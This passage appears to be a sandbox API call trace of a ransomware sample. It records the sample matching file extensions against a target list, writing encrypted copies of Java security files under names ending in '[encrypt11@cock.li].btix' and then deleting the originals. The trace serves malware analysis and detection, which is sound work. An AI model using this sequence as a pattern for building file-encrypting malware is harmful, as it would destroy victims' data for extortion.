(lpString1=".jpg", lpString2=".jar") returned 1 [0155.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.964] lstrlenW (lpString=".doc") returned 4 [0155.964] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.964] lstrlenW (lpString=".docx") returned 5 [0155.965] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0155.965] lstrlenW (lpString=".pdf") returned 4 [0155.965] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.965] lstrlenW (lpString=".xls") returned 4 [0155.965] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.965] lstrlenW (lpString=".xlsx") returned 5 [0155.965] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0155.965] lstrlenW (lpString=".ppt") returned 4 [0155.965] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.965] lstrlenW (lpString=".zip") returned 4 [0155.965] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.965] lstrlenW (lpString=".rar") returned 4 [0155.965] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.965] lstrlenW (lpString=".bz2") returned 4 [0155.965] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.965] lstrlenW (lpString=".7z") returned 3 [0155.965] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.965] lstrlenW (lpString=".dbf") returned 4 [0155.965] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.965] lstrlenW (lpString=".1cd") returned 4 [0155.965] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0155.965] lstrlenW (lpString=".jpg") returned 4 [0155.965] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.965] lstrcmpiW (lpString1=".policy", lpString2=".btix") returned 1 [0155.965] lstrlenW (lpString="javaws.policy") returned 13 [0155.965] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.966] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=98) returned 1 [0155.966] CloseHandle (hObject=0x38c) returned 1 [0155.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0155.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.966] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.966] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.967] GetLastError () returned 0x0 [0155.967] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x62, lpOverlapped=0x0) returned 1 [0155.967] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x70, lpOverlapped=0x0) returned 1 [0155.987] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.987] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xee, lpOverlapped=0x0) returned 1 [0155.987] SetEndOfFile (hFile=0x358) returned 1 [0155.987] CloseHandle (hObject=0x358) returned 1 [0155.987] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.987] SetEndOfFile (hFile=0x38c) returned 1 [0155.988] CloseHandle (hObject=0x38c) returned 1 [0155.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.988] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0155.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.989] lstrlenW (lpString=".doc") returned 4 [0155.989] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString=".docx") returned 5 [0155.989] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0155.989] lstrlenW (lpString=".pdf") returned 4 [0155.989] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString=".xls") returned 4 [0155.989] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString=".xlsx") returned 5 [0155.989] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0155.989] lstrlenW (lpString=".ppt") returned 4 [0155.989] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.989] lstrlenW (lpString=".zip") returned 4 [0155.989] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString=".rar") returned 4 [0155.989] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString=".bz2") returned 4 [0155.989] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0155.989] lstrlenW (lpString=".7z") returned 3 [0155.989] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0155.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.989] lstrlenW (lpString=".dbf") returned 4 [0155.989] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString=".1cd") returned 4 [0155.990] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString=".jpg") returned 4 [0155.990] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString=".doc") returned 4 [0155.990] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString=".docx") returned 5 [0155.990] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0155.990] lstrlenW (lpString=".pdf") returned 4 [0155.990] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString=".xls") returned 4 [0155.990] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString=".xlsx") returned 5 [0155.990] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0155.990] lstrlenW (lpString=".ppt") returned 4 [0155.990] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString=".zip") returned 4 [0155.990] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString=".rar") returned 4 [0155.990] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString=".bz2") returned 4 [0155.990] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString=".7z") returned 3 [0155.990] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString=".dbf") returned 4 [0155.990] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0155.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.990] lstrlenW (lpString=".1cd") returned 4 [0155.990] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0155.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0155.991] lstrlenW (lpString=".jpg") returned 4 [0155.991] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0155.991] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0155.991] lstrlenW (lpString="local_policy.jar") returned 16 [0155.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.991] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3527) returned 1 [0155.991] CloseHandle (hObject=0x38c) returned 1 [0155.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0155.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0155.992] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.992] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.992] GetLastError () returned 0x0 [0155.992] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xdc7, lpOverlapped=0x0) returned 1 [0155.993] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0155.994] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.994] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0155.994] SetEndOfFile (hFile=0x358) returned 1 [0155.995] CloseHandle (hObject=0x358) returned 1 [0155.995] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.995] SetEndOfFile (hFile=0x38c) returned 1 [0155.996] CloseHandle (hObject=0x38c) returned 1 [0155.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.996] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0155.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.997] lstrlenW (lpString=".doc") returned 4 [0155.997] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.997] lstrlenW (lpString=".docx") returned 5 [0155.997] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0155.997] lstrlenW (lpString=".pdf") returned 4 [0155.997] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.997] lstrlenW (lpString=".xls") returned 4 [0155.997] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.997] lstrlenW (lpString=".xlsx") returned 5 [0155.997] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0155.997] lstrlenW (lpString=".ppt") returned 4 [0155.997] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.997] lstrlenW (lpString=".zip") returned 4 [0155.997] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.997] lstrlenW (lpString=".rar") returned 4 [0155.997] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.997] lstrlenW (lpString=".bz2") returned 4 [0155.997] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.997] lstrlenW (lpString=".7z") returned 3 [0155.997] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.997] lstrlenW (lpString=".dbf") returned 4 [0155.997] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.997] lstrlenW (lpString=".1cd") returned 4 [0155.998] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.998] lstrlenW (lpString=".jpg") returned 4 [0155.998] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.998] lstrlenW (lpString=".doc") returned 4 [0155.998] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0155.998] lstrlenW (lpString=".docx") returned 5 [0155.998] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0155.998] lstrlenW (lpString=".pdf") returned 4 [0155.998] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0155.998] lstrlenW (lpString=".xls") returned 4 [0155.998] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0155.998] lstrlenW (lpString=".xlsx") returned 5 [0155.998] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0155.998] lstrlenW (lpString=".ppt") returned 4 [0155.998] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0155.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.998] lstrlenW (lpString=".zip") returned 4 [0155.998] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0155.998] lstrlenW (lpString=".rar") returned 4 [0155.998] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0155.999] lstrlenW (lpString=".bz2") returned 4 [0155.999] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0155.999] lstrlenW (lpString=".7z") returned 3 [0155.999] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0155.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.999] lstrlenW (lpString=".dbf") returned 4 [0155.999] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0155.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.999] lstrlenW (lpString=".1cd") returned 4 [0155.999] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0155.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0155.999] lstrlenW (lpString=".jpg") returned 4 [0155.999] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0155.999] lstrcmpiW (lpString1=".libraries", lpString2=".btix") returned 1 [0155.999] lstrlenW (lpString="trusted.libraries") returned 17 [0155.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.000] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=0) returned 1 [0156.000] CloseHandle (hObject=0x38c) returned 1 [0156.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.000] lstrlenW (lpString=".doc") returned 4 [0156.000] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0156.000] lstrlenW (lpString=".docx") returned 5 [0156.000] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0156.001] lstrlenW (lpString=".pdf") returned 4 [0156.001] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString=".xls") returned 4 [0156.001] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString=".xlsx") returned 5 [0156.001] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0156.001] lstrlenW (lpString=".ppt") returned 4 [0156.001] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.001] lstrlenW (lpString=".zip") returned 4 [0156.001] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString=".rar") returned 4 [0156.001] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString=".bz2") returned 4 [0156.001] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString=".7z") returned 3 [0156.001] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0156.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.001] lstrlenW (lpString=".dbf") returned 4 [0156.001] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.001] lstrlenW (lpString=".1cd") returned 4 [0156.001] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0156.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.001] lstrlenW (lpString=".jpg") returned 4 [0156.001] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.002] lstrlenW (lpString=".doc") returned 4 [0156.002] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString=".docx") returned 5 [0156.002] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0156.002] lstrlenW (lpString=".pdf") returned 4 [0156.002] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString=".xls") returned 4 [0156.002] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString=".xlsx") returned 5 [0156.002] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0156.002] lstrlenW (lpString=".ppt") returned 4 [0156.002] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.002] lstrlenW (lpString=".zip") returned 4 [0156.002] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString=".rar") returned 4 [0156.002] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString=".bz2") returned 4 [0156.002] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0156.002] lstrlenW (lpString=".7z") returned 3 [0156.002] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0156.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.003] lstrlenW (lpString=".dbf") returned 4 [0156.003] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.003] lstrlenW (lpString=".1cd") returned 4 [0156.003] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0156.003] lstrlenW (lpString=".jpg") returned 4 [0156.003] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0156.003] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0156.004] lstrlenW (lpString="US_export_policy.jar") returned 20 [0156.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.322] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=3026) returned 1 [0156.322] CloseHandle (hObject=0x38c) returned 1 [0156.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0156.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.325] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.326] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.326] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.326] GetLastError () returned 0x0 [0156.326] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xbd2, lpOverlapped=0x0) returned 1 [0156.327] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xbe0, lpOverlapped=0x0) returned 